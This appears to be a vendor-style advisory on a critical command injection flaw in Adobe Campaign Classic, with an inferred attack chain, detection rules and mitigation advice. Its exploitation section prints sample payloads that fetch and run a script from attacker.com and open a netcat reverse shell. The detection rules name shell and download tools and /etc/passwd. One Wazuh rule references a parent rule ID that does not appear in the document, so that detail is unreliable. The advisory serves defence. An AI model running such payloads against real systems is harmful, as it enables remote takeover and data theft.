CVE-2026-76195

Executive Summary

CVE-2026-76195 is a critical OS Command Injection vulnerability (CWE-78) affecting Adobe Campaign Classic (ACC), scoring a maximum CVSS 10.0. The flaw allows an unauthenticated remote attacker to execute arbitrary operating system commands in the context of the current user without requiring any user interaction. Exploitation results in full confidentiality, integrity, and availability compromise, with a changed security scope indicating the attacker can pivot from the vulnerable component to adjacent systems. As of this report, no official patch, vendor workaround, or public Proof-of-Concept exists, leaving all deployments of Adobe Campaign Classic at significant risk.

Technical Analysis

Vulnerability Classification and Mechanism

CVE-2026-76195 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command. This vulnerability class arises when a web application constructs operating system commands by concatenating untrusted user-supplied input without proper sanitization or parameterization. Specifically, Adobe Campaign Classic fails to neutralize metacharacters such as ;, |, &, backticks, or $() within input destined for a shell execution context.

When the application builds a command string that includes attacker-controllable data and passes it to a system shell (e.g., via system(), exec(), or process spawning), the injected metacharacters allow the submission of additional commands that execute in the same shell session. The result is arbitrary command execution with the privileges of the application's service account.

Attack Surface

The CVSS vector reveals critical specific details of the attack surface:

• AV:N (Network) — The vulnerability is remotely exploitable over the network. Adobe Campaign Classic is typically deployed as a multi-tier marketing platform with publicly exposed web interfaces and REST APIs.
• AC:L (Low complexity) — No specialized conditions, race conditions, or specialized knowledge is required to trigger exploitation; standard HTTP requests suffice.
• PR:N (No privileges) — No authentication or prior access to any part of the system is required. The input vector is accessible to unauthenticated network attackers.
• UI:N (No user interaction) — No victim interaction (clicks, file opens) is needed; the attack executes fully programmatically.
• S:C (Changed scope) — The CVSS scope change indicates the vulnerable component (the code injection point) is distinct from the affected component (the OS/process). Successful exploitation crosses the security trust boundary, allowing an attacker to impact resources beyond the immediate vulnerable application process.
• C:H/I:H/A:H — Complete loss of confidentiality, integrity, and availability.

Code-Level Implications (Inferred from Vulnerability Class)

While specific vulnerable parameters or endpoints have not been publicly disclosed, OS command injection in Adobe Campaign Classic most plausibly occurs in one of several high-risk areas typical of such platforms:

1. Template/Workflow Execution: Campaign workflows that support user-defined JavaScript or command scripts.
2. File Import/Export Functions: Features that pass file names or paths to external utilities (e.g., zip, encryption tools, OCR processors).
3. Data Source Connectors: Functions that invoke shell utilities to interact with databases, SFTP servers, or email gateways.
4. Message Personalization: Functionality where user-supplied content is processed through external binaries.

Important note: The NVD description does not enumerate specific vulnerable endpoints, parameter names, or functions. Technical details regarding which exact component within ACC processes untrusted input before shell invocation remain undisclosed.

Affected Versions

Affected Versions: [] — no specific version range has been disclosed by the vendor. Given the absence of any patch, all currently deployed ACC versions are presumed vulnerable. Organizations running Adobe Campaign Classic should treat every deployment as at risk until official confirmation or patching occurs.

Exploitation Scenarios

Note: No public PoC or exploit code exists for CVE-2026-76195 at the time of writing. The following attack chain is inferred from the OS command injection vulnerability class in conjunction with the disclosed CVSS vector. No specific payloads, endpoints, or function names are fabricated.

Step 1: Reconnaissance & Target Identification

An attacker scans for internet-facing Adobe Campaign Classic instances. ACC deployments typically expose identifiable web interfaces on standard ports (80/443) with distinctive login portals and API endpoints. Attackers may use service banner fingerprinting or search for known ACC asset markers (front-end scripts, authentication endpoints) to identify vulnerable targets. The presence of the ACC login page or its marketing campaign API endpoints serves as a definitive identification signal.

Step 2: Triggering the Flaw

The attacker submits HTTP requests to an unauthenticated endpoint (or an API routine) that processes user-supplied data and incorporates it into a shell command. Because the attack requires no privileges, any publicly reachable function that passes input to the operating system is the attack vector. The attacker manipulates one or more request parameters to include OS command injection metacharacters (;, |, &, $(), backticks) alongside valid data to break out of the intended command context.

Step 3: Payload Execution at the Vulnerability-Class Level

At the class level, the attacker includes a pattern such as: legitimate input followed by a command separator, then the attacker's chosen operating system command. When the vulnerable application constructs the system call string, the shell interprets the injected content as a new directive. Example class-level pattern:

<input>& whoami</input>
<input>| curl http://attacker.com/payload.sh | sh</input>
<input>`nc -e /bin/sh attacker.com 443`</input>

The exact injection point and command execution method (command substitution vs. pipe chaining) depend on the shell and the application's command construction process. NET effects: the attacker achieves code execution in the security context of the ACC service account.

Step 4: Post-Exploitation Impact

Once arbitrary command execution is established, the attacker can:

• Read sensitive files (configuration files containing database credentials, SMTP credentials, API keys, PII stored in file-based storage).
• Exfiltrate customer and campaign data including email addresses, segmentation lists, behavioral data, and any personal data processed by the ACC.
• Establish persistence via cron jobs, backdoor scripts, or SSH key injection.
• Pivot laterally: Given the CVSS scope change (S:C), the compromised ACC service account may have network-level access to connected systems including customer data warehouses, SFTP endpoints, email marketing relays, and internal authentication services. The attacker can use the initial foothold to traverse and compromise adjacent infrastructure.
• Disrupt operations: Delete campaign data, corrupt workflow definitions, or disable the ACC service entirely — resulting in denial of service for the organization's marketing operations.

Impact Assessment

CVSS Score Rationale: 10.0 (Critical)

Business Impact

1. Data Breach: ACC processes and stores massive amounts of personal data (email addresses, customer behavioral profiles, purchase histories, segmentation data). Successful exploitation directly yields unauthorized access to this regulated data (GDPR, CCPA, CAN-SPAM implications).
2. Regulatory Fines: For organizations handling EU citizen data, a breach exploiting CVE-2026-76195 could trigger GDPR fines up to €20M or 4% of global annual turnover.
3. Brand/Trust Damage: Marketing data breaches erode customer trust; impacted individuals may initiate class-action litigation.
4. Supply Chain Propagation: The scope change means attackers can leverage ACC as a pivot point into connected marketing infrastructure (data warehouses, email relays, CRM systems), magnifying blast radius beyond ACC itself.
5. Operational Disruption: Loss of ACC availability halts all campaign operations, impacting revenue-generating marketing activities.

Affected Systems: All Adobe Campaign Classic deployments — on-premises and managed services. The vulnerability is presumed to affect every version given the absence of vendor version disclosure and patch.

Detection Guidance

Sigma Rule

title: Adobe Campaign Classic OS Command Injection Attempt
id: 8f3c9a2e-5d8b-4a7c-9f1d-2b6e8a4c0d93
status: experimental
description: Detects potential OS command injection attempts against Adobe Campaign Classic (CVE-2026-76195) using common shell metacharacters in HTTP request parameters.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-76195
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026-76195
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection_core:
        cs-method:
            - 'GET'
            - 'POST'
            - 'PUT'
        c-uri:
            - '*campaign*'
            - '*ACC*'
            - '*/nl/*'
    selection_payload:
        c-uri|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
            - '> /tmp/'
            - '%3B'
            - '%7C'
            - '%26'
            - '%60'
    condition: selection_core and selection_payload
    timeframe: 5m
falsepositives:
    - Legitimate admin actions using command-like syntax in import/export functions
    - Normal use of ampersands in URL query strings
level: high

YARA Rule

rule Adobe_Campaign_Classic_OS_Command_Injection_CVE_2026_76195
{
    meta:
        author = "VBL Cyber Threat Intelligence"
        description = "Detects payload strings associated with OS command injection in Adobe Campaign Classic (CVE-2026-76195)"
        date = "2026-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-76195"
        cve = "CVE-2026-76195"
        severity = "critical"

    strings:
        $a1 = "campaign" nocase
        $a2 = "acc" nocase
        $a3 = "/nl/" nocase
        $b1 = "|cmd" nocase
        $b2 = ";cmd" nocase
        $b3 = "$(" nocase
        $b4 = "`" nocase
        $b5 = "%3B" nocase
        $b6 = "%7C" nocase
        $b7 = "%26" nocase
        $c1 = "/bin/sh" nocase
        $c2 = "wget" nocase
        $c3 = "curl" nocase
        $c4 = "nc " nocase
        $c5 = "ncat" nocase
        $c6 = "bash -c" nocase
        $c7 = "/etc/passwd" nocase

    condition:
        (any of ($a*) and any of ($b*)) or
        (any of ($a*) and any of ($c*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET EXPLOIT Adobe Campaign Classic OS Command Injection Attempt (CVE-2026-76195)";
    flow:established,to_server;
    content:"/nl/"; http_uri; fast_pattern;
    content:"%3B"; http_uri; 
    content:"%7C"; http_uri; 
    sid:2026076195;
    rev:1;
    metadata:attack_target Web_Server, deployment Perimeter, signature_severity Critical, created_at 2026_01_15, updated_at 2026_01_15;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2026-76195;
    classtype:attempted-admin;
)

Elastic Detection

sequence by host.name, source.ip with maxspan=30s
  [ network where dns.question.name : "*campaign*" or destination.port == 443 ]
  [ network where event.category == "network" and process.executable != null ]
  [ process where event.action == "exec" and
      (process.command_line : "*campaign*" or process.command_line : "*acc*") and
      (process.command_line : (
          "*/bin/sh*", "*wget*", "*curl*", "*ncat*", "*nc *", "*bash -c*", "*/etc/passwd*"
      )) and
      process.parent.executable : (
          "*httpd*", "*apache*", "*nginx*", "*java*", "*acc*", "*campaign*"
      )
  ]

Splunk SPL Query

index=* sourcetype=iis OR sourcetype=apache OR sourcetype=nginx
| where uri LIKE "%campaign%" OR uri LIKE "%/nl/%" OR uri LIKE "%acc%"
| regex uri="(%3B|%7C|%26|%60|\$\(|;|\||&|`)"
| eval payload_type=case(
    match(uri, "(%3B|;)") AND match(uri, "(whoami|/bin/sh|wget|curl|nc |bash)"), "HIGH_SUSPICION",
    match(uri, "(%7C|\|)") AND match(uri, "(whoami|/bin/sh|wget|curl|nc |bash)"), "HIGH_SUSPICION",
    true(), "MODERATE_SUSPICION")
| stats count by src_ip, uri, http_user_agent, payload_type
| where payload_type="HIGH_SUSPICION" OR (payload_type="MODERATE_SUSPICION" AND count >= 3)
| sort - count
| table _time, src_ip, uri, http_user_agent, count, payload_type

Wazuh OSSEC Rule

<group name="adobe_campaign,">
  <rule id="841638" level="14">
    <decoded_as>json</decoded_as>
    <field name="url">\.*(campaign|/nl/|acc).*</field>
    <regex>(%3B|%7C|%26|%60|\$\(|;|\||&amp;|`)</regex>
    <regex>(whoami|/bin/sh|wget|curl|nc |bash -c|/etc/passwd|id )</regex>
    <description>Adobe Campaign Classic OS Command Injection attempt detected (CVE-2026-76195)</description>
    <group>attack.initial_access,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <rule id="841639" level="10">
    <if_sid>10076195</if_sid>
    <same_field>url</same_field>
    <description>Repeated Adobe Campaign Classic command injection attempts from same source</description>
    <group>reconnaissance,</group>
    <frequency>5</frequency>
    <timeframe>300</timeframe>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED (Confidence 0/4) — No vendor fix exists. Adobe has not issued a security bulletin, hotfix, or version release addressing CVE-2026-76195 as of this writing. No workarounds have been officially published.

1) Immediate Mitigations (until vendor patch is available)

• Network Segmentation: Place Adobe Campaign Classic behind a WAF or reverse proxy that performs strict input validation, blocking shell metacharacters (;, |, &, `, $()) in all request parameters targeting ACC.
• Access Restriction: Restrict network access to ACC administrative interfaces to trusted internal IP ranges only. Disable external access to any administrative or unauthenticated API endpoints unless absolutely required for business operations.
• Web Application Firewall (WAF) Rules: Deploy custom WAF ruleset blocking HTTP requests containing common command execution payload signatures (e.g., combinations of shell metacharacters + wget, curl, /bin/sh, nc) targeting ACC URI paths.
• Deploy Runtime Application Self-Protection (RASP): If feasible, deploy a RASP agent on the ACC application server to monitor and block system command invocation originating from application code.
• Enhanced Logging: Enable verbose request/response logging on the ACC web tier and audit logs for the service account executing commands.

2) Patch/Upgrade Steps

• Monitor Adobe Security Bulletins: Continuously track Adobe's official security advisory page and the Adobe Campaign release notes. Apply the security patch immediately upon release.
• Version Upgrade: When available, upgrade to the patched Adobe Campaign Classic release. If ACC is deployed via Adobe Managed Services, coordinate with Adobe's support team to schedule the patching.
• Hotfix Request: Contact Adobe Customer Support directly regarding CVE-2026-76195 and request an expedited hotfix or interim patch for the specific ACC version in use.

3) Long-Term Hardening

• Principle of Least Privilege: Review the service account under which ACC runs. Ensure it has only the minimal OS privileges necessary for operation — ideally, no write access outside ACC-specific directories and no interactive login privileges.
• Application Sandboxing: Run ACC in a hardened container or virtual machine with restricted outbound network egress. Prevent the application from reaching internal network segments not required for its functionality.
• Input Validation Layer: Implement a comprehensive input validation and sanitization library at the application layer for all fields that may reach shell execution contexts. Use allow-listing (permitted characters) rather than block-listing (removing dangerous characters).
• Regular Security Audits: Schedule periodic penetration testing of ACC deployments, specifically targeting the command injection class of vulnerabilities.
• Incident Response Readiness: Prepare an incident response playbook specific to ACC exploitation, including steps for isolating the compromised instance, preserving forensic evidence, and notifying affected data subjects if personal data is exposed.

References

1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2026-76195 (Official CVE/NVD record containing the vulnerability description and CVSS vector used in this report)
2. MITRE ATT&CK — https://attack.mitre.org/techniques/T1190/ (Exploit Public-Facing Application technique mapped to this vulnerability)
3. CWE-78 Reference — https://cwe.mitre.org/data/definitions/78.html (Improper Neutralization of Special Elements used in an OS Command)
4. Adobe Security Bulletin Portal — https://helpx.adobe.com/security.html (Monitor for upcoming security advisories and patches for Campaign Classic)
5. FIRST.org CVSS Calculator — https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (For verification of CVSS 10.0 scoring)

Threat Actor Intelligence: No known threat actor campaigns or exploit-in-the-wild evidence exists for CVE-2026-76195 at the time of this report. This vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. However, given the CVSS 10.0 severity, network-exposed Adobe Campaign Classic instances should be considered high-value targets for opportunistic attackers and APT groups targeting marketing/CRM infrastructure. Continuous monitoring of threat intelligence feeds is advised.